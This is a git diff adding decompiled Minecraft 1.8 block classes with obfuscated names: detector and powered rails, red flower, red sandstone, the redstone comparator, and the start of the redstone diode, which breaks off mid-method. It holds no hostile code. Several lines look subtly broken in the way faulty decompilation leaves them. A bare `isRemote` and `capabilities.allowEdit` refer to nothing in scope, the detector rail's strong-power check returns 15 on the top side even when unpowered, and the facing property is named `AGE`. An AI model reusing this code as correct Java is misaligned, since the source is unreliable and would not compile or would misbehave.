+  public static final PropertyBool field_176574_M = PropertyBool.create("powered");
+  private static final String __OBFID = "CL_00000225";
+  
+  public BlockRailDetector()
+  {
+    super(true);
+    setDefaultState(blockState.getBaseState().withProperty(field_176574_M, Boolean.valueOf(false)).withProperty(field_176573_b, BlockRailBase.EnumRailDirection.NORTH_SOUTH));
+    setTickRandomly(true);
+  }
+  
+
+
+
+  public int tickRate(World worldIn)
+  {
+    return 20;
+  }
+  
+
+
+
+  public boolean canProvidePower()
+  {
+    return true;
+  }
+  
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, IBlockState state, Entity entityIn)
+  {
+    if (!isRemote)
+    {
+      if (!((Boolean)state.getValue(field_176574_M)).booleanValue())
+      {
+        func_176570_e(worldIn, pos, state);
+      }
+    }
+  }
+  
+
+
+  public void randomTick(World worldIn, BlockPos pos, IBlockState state, Random random) {}
+  
+
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if ((!isRemote) && (((Boolean)state.getValue(field_176574_M)).booleanValue()))
+    {
+      func_176570_e(worldIn, pos, state);
+    }
+  }
+  
+  public int isProvidingWeakPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return ((Boolean)state.getValue(field_176574_M)).booleanValue() ? 15 : 0;
+  }
+  
+  public int isProvidingStrongPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return side == EnumFacing.UP ? 15 : !((Boolean)state.getValue(field_176574_M)).booleanValue() ? 0 : 0;
+  }
+  
+  private void func_176570_e(World worldIn, BlockPos p_176570_2_, IBlockState p_176570_3_)
+  {
+    boolean var4 = ((Boolean)p_176570_3_.getValue(field_176574_M)).booleanValue();
+    boolean var5 = false;
+    List var6 = func_176571_a(worldIn, p_176570_2_, EntityMinecart.class, new Predicate[0]);
+    
+    if (!var6.isEmpty())
+    {
+      var5 = true;
+    }
+    
+    if ((var5) && (!var4))
+    {
+      worldIn.setBlockState(p_176570_2_, p_176570_3_.withProperty(field_176574_M, Boolean.valueOf(true)), 3);
+      worldIn.notifyNeighborsOfStateChange(p_176570_2_, this);
+      worldIn.notifyNeighborsOfStateChange(p_176570_2_.offsetDown(), this);
+      worldIn.markBlockRangeForRenderUpdate(p_176570_2_, p_176570_2_);
+    }
+    
+    if ((!var5) && (var4))
+    {
+      worldIn.setBlockState(p_176570_2_, p_176570_3_.withProperty(field_176574_M, Boolean.valueOf(false)), 3);
+      worldIn.notifyNeighborsOfStateChange(p_176570_2_, this);
+      worldIn.notifyNeighborsOfStateChange(p_176570_2_.offsetDown(), this);
+      worldIn.markBlockRangeForRenderUpdate(p_176570_2_, p_176570_2_);
+    }
+    
+    if (var5)
+    {
+      worldIn.scheduleUpdate(p_176570_2_, this, tickRate(worldIn));
+    }
+    
+    worldIn.updateComparatorOutputLevel(p_176570_2_, this);
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    super.onBlockAdded(worldIn, pos, state);
+    func_176570_e(worldIn, pos, state);
+  }
+  
+  public IProperty func_176560_l()
+  {
+    return field_176573_b;
+  }
+  
+  public boolean hasComparatorInputOverride()
+  {
+    return true;
+  }
+  
+  public int getComparatorInputOverride(World worldIn, BlockPos pos)
+  {
+    if (((Boolean)worldIn.getBlockState(pos).getValue(field_176574_M)).booleanValue())
+    {
+      List var3 = func_176571_a(worldIn, pos, EntityMinecartCommandBlock.class, new Predicate[0]);
+      
+      if (!var3.isEmpty())
+      {
+        return ((EntityMinecartCommandBlock)var3.get(0)).func_145822_e().getSuccessCount();
+      }
+      
+      List var4 = func_176571_a(worldIn, pos, EntityMinecart.class, new Predicate[] { net.minecraft.command.IEntitySelector.selectInventories });
+      
+      if (!var4.isEmpty())
+      {
+        return Container.calcRedstoneFromInventory((IInventory)var4.get(0));
+      }
+    }
+    
+    return 0;
+  }
+  
+  protected List func_176571_a(World worldIn, BlockPos p_176571_2_, Class p_176571_3_, Predicate... p_176571_4_)
+  {
+    AxisAlignedBB var5 = func_176572_a(p_176571_2_);
+    return p_176571_4_.length != 1 ? worldIn.getEntitiesWithinAABB(p_176571_3_, var5) : worldIn.func_175647_a(p_176571_3_, var5, p_176571_4_[0]);
+  }
+  
+  private AxisAlignedBB func_176572_a(BlockPos p_176572_1_)
+  {
+    float var2 = 0.2F;
+    return new AxisAlignedBB(p_176572_1_.getX() + 0.2F, p_176572_1_.getY(), p_176572_1_.getZ() + 0.2F, p_176572_1_.getX() + 1 - 0.2F, p_176572_1_.getY() + 1 - 0.2F, p_176572_1_.getZ() + 1 - 0.2F);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176573_b, BlockRailBase.EnumRailDirection.func_177016_a(meta & 0x7)).withProperty(field_176574_M, Boolean.valueOf((meta & 0x8) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((BlockRailBase.EnumRailDirection)state.getValue(field_176573_b)).func_177015_a();
+    
+    if (((Boolean)state.getValue(field_176574_M)).booleanValue())
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176573_b, field_176574_M });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRailPowered.java b/src/minecraft/net/minecraft/block/BlockRailPowered.java
new file mode 100644
index 0000000..05f65ae
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRailPowered.java
@@ -0,0 +1,277 @@
+package net.minecraft.block;
+
+import com.google.common.base.Predicate;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockRailPowered extends BlockRailBase
+{
+  public static final PropertyEnum field_176568_b = PropertyEnum.create("shape", BlockRailBase.EnumRailDirection.class, new Predicate()
+  {
+    private static final String __OBFID = "CL_00002080";
+    
+    public boolean func_180133_a(BlockRailBase.EnumRailDirection p_180133_1_) {
+      return (p_180133_1_ != BlockRailBase.EnumRailDirection.NORTH_EAST) && (p_180133_1_ != BlockRailBase.EnumRailDirection.NORTH_WEST) && (p_180133_1_ != BlockRailBase.EnumRailDirection.SOUTH_EAST) && (p_180133_1_ != BlockRailBase.EnumRailDirection.SOUTH_WEST);
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_180133_a((BlockRailBase.EnumRailDirection)p_apply_1_);
+    }
+  });
+  
+
+
+
+
+
+
+
+
+
+
+  public static final PropertyBool field_176569_M = PropertyBool.create("powered");
+  private static final String __OBFID = "CL_00000288";
+  
+  protected BlockRailPowered()
+  {
+    super(true);
+    setDefaultState(blockState.getBaseState().withProperty(field_176568_b, BlockRailBase.EnumRailDirection.NORTH_SOUTH).withProperty(field_176569_M, Boolean.valueOf(false)));
+  }
+  
+  protected boolean func_176566_a(World worldIn, BlockPos p_176566_2_, IBlockState p_176566_3_, boolean p_176566_4_, int p_176566_5_)
+  {
+    if (p_176566_5_ >= 8)
+    {
+      return false;
+    }
+    
+
+    int var6 = p_176566_2_.getX();
+    int var7 = p_176566_2_.getY();
+    int var8 = p_176566_2_.getZ();
+    boolean var9 = true;
+    BlockRailBase.EnumRailDirection var10 = (BlockRailBase.EnumRailDirection)p_176566_3_.getValue(field_176568_b);
+    
+    switch (SwitchEnumRailDirection.field_180121_a[var10.ordinal()])
+    {
+    case 1: 
+      if (p_176566_4_)
+      {
+        var8++;
+      }
+      else
+      {
+        var8--;
+      }
+      
+      break;
+    
+    case 2: 
+      if (p_176566_4_)
+      {
+        var6--;
+      }
+      else
+      {
+        var6++;
+      }
+      
+      break;
+    
+    case 3: 
+      if (p_176566_4_)
+      {
+        var6--;
+      }
+      else
+      {
+        var6++;
+        var7++;
+        var9 = false;
+      }
+      
+      var10 = BlockRailBase.EnumRailDirection.EAST_WEST;
+      break;
+    
+    case 4: 
+      if (p_176566_4_)
+      {
+        var6--;
+        var7++;
+        var9 = false;
+      }
+      else
+      {
+        var6++;
+      }
+      
+      var10 = BlockRailBase.EnumRailDirection.EAST_WEST;
+      break;
+    
+    case 5: 
+      if (p_176566_4_)
+      {
+        var8++;
+      }
+      else
+      {
+        var8--;
+        var7++;
+        var9 = false;
+      }
+      
+      var10 = BlockRailBase.EnumRailDirection.NORTH_SOUTH;
+      break;
+    
+    case 6: 
+      if (p_176566_4_)
+      {
+        var8++;
+        var7++;
+        var9 = false;
+      }
+      else
+      {
+        var8--;
+      }
+      
+      var10 = BlockRailBase.EnumRailDirection.NORTH_SOUTH;
+    }
+    
+    return func_176567_a(worldIn, new BlockPos(var6, var7, var8), p_176566_4_, p_176566_5_, var10);
+  }
+  
+
+  protected boolean func_176567_a(World worldIn, BlockPos p_176567_2_, boolean p_176567_3_, int p_176567_4_, BlockRailBase.EnumRailDirection p_176567_5_)
+  {
+    IBlockState var6 = worldIn.getBlockState(p_176567_2_);
+    
+    if (var6.getBlock() != this)
+    {
+      return false;
+    }
+    
+
+    BlockRailBase.EnumRailDirection var7 = (BlockRailBase.EnumRailDirection)var6.getValue(field_176568_b);
+    return (p_176567_5_ != BlockRailBase.EnumRailDirection.EAST_WEST) || ((var7 != BlockRailBase.EnumRailDirection.NORTH_SOUTH) && (var7 != BlockRailBase.EnumRailDirection.ASCENDING_NORTH) && (var7 != BlockRailBase.EnumRailDirection.ASCENDING_SOUTH));
+  }
+  
+
+  protected void func_176561_b(World worldIn, BlockPos p_176561_2_, IBlockState p_176561_3_, Block p_176561_4_)
+  {
+    boolean var5 = ((Boolean)p_176561_3_.getValue(field_176569_M)).booleanValue();
+    boolean var6 = (worldIn.isBlockPowered(p_176561_2_)) || (func_176566_a(worldIn, p_176561_2_, p_176561_3_, true, 0)) || (func_176566_a(worldIn, p_176561_2_, p_176561_3_, false, 0));
+    
+    if (var6 != var5)
+    {
+      worldIn.setBlockState(p_176561_2_, p_176561_3_.withProperty(field_176569_M, Boolean.valueOf(var6)), 3);
+      worldIn.notifyNeighborsOfStateChange(p_176561_2_.offsetDown(), this);
+      
+      if (((BlockRailBase.EnumRailDirection)p_176561_3_.getValue(field_176568_b)).func_177018_c())
+      {
+        worldIn.notifyNeighborsOfStateChange(p_176561_2_.offsetUp(), this);
+      }
+    }
+  }
+  
+  public IProperty func_176560_l()
+  {
+    return field_176568_b;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176568_b, BlockRailBase.EnumRailDirection.func_177016_a(meta & 0x7)).withProperty(field_176569_M, Boolean.valueOf((meta & 0x8) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((BlockRailBase.EnumRailDirection)state.getValue(field_176568_b)).func_177015_a();
+    
+    if (((Boolean)state.getValue(field_176569_M)).booleanValue())
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176568_b, field_176569_M });
+  }
+  
+  static final class SwitchEnumRailDirection
+  {
+    static final int[] field_180121_a = new int[BlockRailBase.EnumRailDirection.values().length];
+    private static final String __OBFID = "CL_00002079";
+    
+    static
+    {
+      try
+      {
+        field_180121_a[BlockRailBase.EnumRailDirection.NORTH_SOUTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180121_a[BlockRailBase.EnumRailDirection.EAST_WEST.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180121_a[BlockRailBase.EnumRailDirection.ASCENDING_EAST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_180121_a[BlockRailBase.EnumRailDirection.ASCENDING_WEST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_180121_a[BlockRailBase.EnumRailDirection.ASCENDING_NORTH.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_180121_a[BlockRailBase.EnumRailDirection.ASCENDING_SOUTH.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+    }
+    
+    SwitchEnumRailDirection() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRedFlower.java b/src/minecraft/net/minecraft/block/BlockRedFlower.java
new file mode 100644
index 0000000..9b8e716
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRedFlower.java
@@ -0,0 +1,11 @@
+package net.minecraft.block;
+
+public class BlockRedFlower extends BlockFlower {
+  private static final String __OBFID = "CL_00002073";
+  
+  public BlockRedFlower() {}
+  
+  public BlockFlower.EnumFlowerColor func_176495_j() {
+    return BlockFlower.EnumFlowerColor.RED;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRedSandstone.java b/src/minecraft/net/minecraft/block/BlockRedSandstone.java
new file mode 100644
index 0000000..848d92c
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRedSandstone.java
@@ -0,0 +1,178 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.IStringSerializable;
+
+public class BlockRedSandstone extends Block
+{
+  public static final PropertyEnum TYPE = PropertyEnum.create("type", EnumType.class);
+  private static final String __OBFID = "CL_00002072";
+  
+  public BlockRedSandstone()
+  {
+    super(Material.rock);
+    setDefaultState(blockState.getBaseState().withProperty(TYPE, EnumType.DEFAULT));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumType)state.getValue(TYPE)).getMetaFromState();
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    EnumType[] var4 = EnumType.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumType var7 = var4[var6];
+      list.add(new ItemStack(itemIn, 1, var7.getMetaFromState()));
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(TYPE, EnumType.func_176825_a(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumType)state.getValue(TYPE)).getMetaFromState();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { TYPE });
+  }
+  
+  public static enum EnumType implements IStringSerializable
+  {
+    DEFAULT("DEFAULT", 0, 0, "red_sandstone", "default"), 
+    CHISELED("CHISELED", 1, 1, "chiseled_red_sandstone", "chiseled"), 
+    SMOOTH("SMOOTH", 2, 2, "smooth_red_sandstone", "smooth");
+    
+    private static final EnumType[] field_176831_d;
+    private final int field_176832_e;
+    private final String field_176829_f;
+    private final String field_176830_g;
+    private static final EnumType[] $VALUES;
+    private static final String __OBFID = "CL_00002071";
+    
+    private EnumType(String p_i45690_1_, int p_i45690_2_, int p_i45690_3_, String p_i45690_4_, String p_i45690_5_)
+    {
+      field_176832_e = p_i45690_3_;
+      field_176829_f = p_i45690_4_;
+      field_176830_g = p_i45690_5_;
+    }
+    
+    public int getMetaFromState()
+    {
+      return field_176832_e;
+    }
+    
+    public String toString()
+    {
+      return field_176829_f;
+    }
+    
+    public static EnumType func_176825_a(int p_176825_0_)
+    {
+      if ((p_176825_0_ < 0) || (p_176825_0_ >= field_176831_d.length))
+      {
+        p_176825_0_ = 0;
+      }
+      
+      return field_176831_d[p_176825_0_];
+    }
+    
+    public String getName()
+    {
+      return field_176829_f;
+    }
+    
+    public String func_176828_c()
+    {
+      return field_176830_g;
+    }
+    
+    static
+    {
+      field_176831_d = new EnumType[values().length];
+      
+
+
+
+      $VALUES = new EnumType[] { DEFAULT, CHISELED, SMOOTH };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        field_176831_d[var3.getMetaFromState()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRedstoneComparator.java b/src/minecraft/net/minecraft/block/BlockRedstoneComparator.java
new file mode 100644
index 0000000..f071769
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRedstoneComparator.java
@@ -0,0 +1,336 @@
+package net.minecraft.block;
+
+import com.google.common.base.Predicate;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.item.EntityItemFrame;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityComparator;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockRedstoneComparator extends BlockRedstoneDiode implements ITileEntityProvider
+{
+  public static final PropertyBool field_176464_a = PropertyBool.create("powered");
+  public static final PropertyEnum field_176463_b = PropertyEnum.create("mode", Mode.class);
+  private static final String __OBFID = "CL_00000220";
+  
+  public BlockRedstoneComparator(boolean p_i45399_1_)
+  {
+    super(p_i45399_1_);
+    setDefaultState(blockState.getBaseState().withProperty(AGE, EnumFacing.NORTH).withProperty(field_176464_a, Boolean.valueOf(false)).withProperty(field_176463_b, Mode.COMPARE));
+    isBlockContainer = true;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.comparator;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.comparator;
+  }
+  
+  protected int func_176403_d(IBlockState p_176403_1_)
+  {
+    return 2;
+  }
+  
+  protected IBlockState func_180674_e(IBlockState p_180674_1_)
+  {
+    Boolean var2 = (Boolean)p_180674_1_.getValue(field_176464_a);
+    Mode var3 = (Mode)p_180674_1_.getValue(field_176463_b);
+    EnumFacing var4 = (EnumFacing)p_180674_1_.getValue(AGE);
+    return Blocks.powered_comparator.getDefaultState().withProperty(AGE, var4).withProperty(field_176464_a, var2).withProperty(field_176463_b, var3);
+  }
+  
+  protected IBlockState func_180675_k(IBlockState p_180675_1_)
+  {
+    Boolean var2 = (Boolean)p_180675_1_.getValue(field_176464_a);
+    Mode var3 = (Mode)p_180675_1_.getValue(field_176463_b);
+    EnumFacing var4 = (EnumFacing)p_180675_1_.getValue(AGE);
+    return Blocks.unpowered_comparator.getDefaultState().withProperty(AGE, var4).withProperty(field_176464_a, var2).withProperty(field_176463_b, var3);
+  }
+  
+  protected boolean func_176406_l(IBlockState p_176406_1_)
+  {
+    return (isRepeaterPowered) || (((Boolean)p_176406_1_.getValue(field_176464_a)).booleanValue());
+  }
+  
+  protected int func_176408_a(IBlockAccess p_176408_1_, BlockPos p_176408_2_, IBlockState p_176408_3_)
+  {
+    TileEntity var4 = p_176408_1_.getTileEntity(p_176408_2_);
+    return (var4 instanceof TileEntityComparator) ? ((TileEntityComparator)var4).getOutputSignal() : 0;
+  }
+  
+  private int func_176460_j(World worldIn, BlockPos p_176460_2_, IBlockState p_176460_3_)
+  {
+    return p_176460_3_.getValue(field_176463_b) == Mode.SUBTRACT ? Math.max(func_176397_f(worldIn, p_176460_2_, p_176460_3_) - func_176407_c(worldIn, p_176460_2_, p_176460_3_), 0) : func_176397_f(worldIn, p_176460_2_, p_176460_3_);
+  }
+  
+  protected boolean func_176404_e(World worldIn, BlockPos p_176404_2_, IBlockState p_176404_3_)
+  {
+    int var4 = func_176397_f(worldIn, p_176404_2_, p_176404_3_);
+    
+    if (var4 >= 15)
+    {
+      return true;
+    }
+    if (var4 == 0)
+    {
+      return false;
+    }
+    
+
+    int var5 = func_176407_c(worldIn, p_176404_2_, p_176404_3_);
+    return var5 == 0;
+  }
+  
+
+  protected int func_176397_f(World worldIn, BlockPos p_176397_2_, IBlockState p_176397_3_)
+  {
+    int var4 = super.func_176397_f(worldIn, p_176397_2_, p_176397_3_);
+    EnumFacing var5 = (EnumFacing)p_176397_3_.getValue(AGE);
+    BlockPos var6 = p_176397_2_.offset(var5);
+    Block var7 = worldIn.getBlockState(var6).getBlock();
+    
+    if (var7.hasComparatorInputOverride())
+    {
+      var4 = var7.getComparatorInputOverride(worldIn, var6);
+    }
+    else if ((var4 < 15) && (var7.isNormalCube()))
+    {
+      var6 = var6.offset(var5);
+      var7 = worldIn.getBlockState(var6).getBlock();
+      
+      if (var7.hasComparatorInputOverride())
+      {
+        var4 = var7.getComparatorInputOverride(worldIn, var6);
+      }
+      else if (var7.getMaterial() == net.minecraft.block.material.Material.air)
+      {
+        EntityItemFrame var8 = func_176461_a(worldIn, var5, var6);
+        
+        if (var8 != null)
+        {
+          var4 = var8.func_174866_q();
+        }
+      }
+    }
+    
+    return var4;
+  }
+  
+  private EntityItemFrame func_176461_a(World worldIn, final EnumFacing p_176461_2_, BlockPos p_176461_3_)
+  {
+    List var4 = worldIn.func_175647_a(EntityItemFrame.class, new AxisAlignedBB(p_176461_3_.getX(), p_176461_3_.getY(), p_176461_3_.getZ(), p_176461_3_.getX() + 1, p_176461_3_.getY() + 1, p_176461_3_.getZ() + 1), new Predicate()
+    {
+      private static final String __OBFID = "CL_00002129";
+      
+      public boolean func_180416_a(Entity p_180416_1_) {
+        return (p_180416_1_ != null) && (p_180416_1_.func_174811_aO() == p_176461_2_);
+      }
+      
+      public boolean apply(Object p_apply_1_) {
+        return func_180416_a((Entity)p_apply_1_);
+      }
+    });
+    return var4.size() == 1 ? (EntityItemFrame)var4.get(0) : null;
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (!capabilities.allowEdit)
+    {
+      return false;
+    }
+    
+
+    state = state.cycleProperty(field_176463_b);
+    worldIn.playSoundEffect(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D, "random.click", 0.3F, state.getValue(field_176463_b) == Mode.SUBTRACT ? 0.55F : 0.5F);
+    worldIn.setBlockState(pos, state, 2);
+    func_176462_k(worldIn, pos, state);
+    return true;
+  }
+  
+
+  protected void func_176398_g(World worldIn, BlockPos p_176398_2_, IBlockState p_176398_3_)
+  {
+    if (!worldIn.isBlockTickPending(p_176398_2_, this))
+    {
+      int var4 = func_176460_j(worldIn, p_176398_2_, p_176398_3_);
+      TileEntity var5 = worldIn.getTileEntity(p_176398_2_);
+      int var6 = (var5 instanceof TileEntityComparator) ? ((TileEntityComparator)var5).getOutputSignal() : 0;
+      
+      if ((var4 != var6) || (func_176406_l(p_176398_3_) != func_176404_e(worldIn, p_176398_2_, p_176398_3_)))
+      {
+        if (func_176402_i(worldIn, p_176398_2_, p_176398_3_))
+        {
+          worldIn.func_175654_a(p_176398_2_, this, 2, -1);
+        }
+        else
+        {
+          worldIn.func_175654_a(p_176398_2_, this, 2, 0);
+        }
+      }
+    }
+  }
+  
+  private void func_176462_k(World worldIn, BlockPos p_176462_2_, IBlockState p_176462_3_)
+  {
+    int var4 = func_176460_j(worldIn, p_176462_2_, p_176462_3_);
+    TileEntity var5 = worldIn.getTileEntity(p_176462_2_);
+    int var6 = 0;
+    
+    if ((var5 instanceof TileEntityComparator))
+    {
+      TileEntityComparator var7 = (TileEntityComparator)var5;
+      var6 = var7.getOutputSignal();
+      var7.setOutputSignal(var4);
+    }
+    
+    if ((var6 != var4) || (p_176462_3_.getValue(field_176463_b) == Mode.COMPARE))
+    {
+      boolean var9 = func_176404_e(worldIn, p_176462_2_, p_176462_3_);
+      boolean var8 = func_176406_l(p_176462_3_);
+      
+      if ((var8) && (!var9))
+      {
+        worldIn.setBlockState(p_176462_2_, p_176462_3_.withProperty(field_176464_a, Boolean.valueOf(false)), 2);
+      }
+      else if ((!var8) && (var9))
+      {
+        worldIn.setBlockState(p_176462_2_, p_176462_3_.withProperty(field_176464_a, Boolean.valueOf(true)), 2);
+      }
+      
+      func_176400_h(worldIn, p_176462_2_, p_176462_3_);
+    }
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (isRepeaterPowered)
+    {
+      worldIn.setBlockState(pos, func_180675_k(state).withProperty(field_176464_a, Boolean.valueOf(true)), 4);
+    }
+    
+    func_176462_k(worldIn, pos, state);
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    super.onBlockAdded(worldIn, pos, state);
+    worldIn.setTileEntity(pos, createNewTileEntity(worldIn, 0));
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    super.breakBlock(worldIn, pos, state);
+    worldIn.removeTileEntity(pos);
+    func_176400_h(worldIn, pos, state);
+  }
+  
+
+
+
+  public boolean onBlockEventReceived(World worldIn, BlockPos pos, IBlockState state, int eventID, int eventParam)
+  {
+    super.onBlockEventReceived(worldIn, pos, state, eventID, eventParam);
+    TileEntity var6 = worldIn.getTileEntity(pos);
+    return var6 == null ? false : var6.receiveClientEvent(eventID, eventParam);
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityComparator();
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(AGE, EnumFacing.getHorizontal(meta)).withProperty(field_176464_a, Boolean.valueOf((meta & 0x8) > 0)).withProperty(field_176463_b, (meta & 0x4) > 0 ? Mode.SUBTRACT : Mode.COMPARE);
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(AGE)).getHorizontalIndex();
+    
+    if (((Boolean)state.getValue(field_176464_a)).booleanValue())
+    {
+      var3 |= 0x8;
+    }
+    
+    if (state.getValue(field_176463_b) == Mode.SUBTRACT)
+    {
+      var3 |= 0x4;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { AGE, field_176463_b, field_176464_a });
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getDefaultState().withProperty(AGE, placer.func_174811_aO().getOpposite()).withProperty(field_176464_a, Boolean.valueOf(false)).withProperty(field_176463_b, Mode.COMPARE);
+  }
+  
+  public static enum Mode implements IStringSerializable
+  {
+    COMPARE("COMPARE", 0, "compare"), 
+    SUBTRACT("SUBTRACT", 1, "subtract");
+    
+    private final String field_177041_c;
+    private static final Mode[] $VALUES = { COMPARE, SUBTRACT };
+    private static final String __OBFID = "CL_00002128";
+    
+    private Mode(String p_i45731_1_, int p_i45731_2_, String p_i45731_3_)
+    {
+      field_177041_c = p_i45731_3_;
+    }
+    
+    public String toString()
+    {
+      return field_177041_c;
+    }
+    
+    public String getName()
+    {
+      return field_177041_c;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRedstoneDiode.java b/src/minecraft/net/minecraft/block/BlockRedstoneDiode.java
new file mode 100644
index 0000000..bd0a698
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRedstoneDiode.java
@@ -0,0 +1,283 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public abstract class BlockRedstoneDiode extends BlockDirectional
+{
+  protected final boolean isRepeaterPowered;
+  private static final String __OBFID = "CL_00000226";
+  
+  protected BlockRedstoneDiode(boolean p_i45400_1_)
+  {
+    super(Material.circuits);
+    isRepeaterPowered = p_i45400_1_;
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.125F, 1.0F);
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown()) ? super.canPlaceBlockAt(worldIn, pos) : false;
+  }
+  
+  public boolean func_176409_d(World worldIn, BlockPos p_176409_2_)
+  {
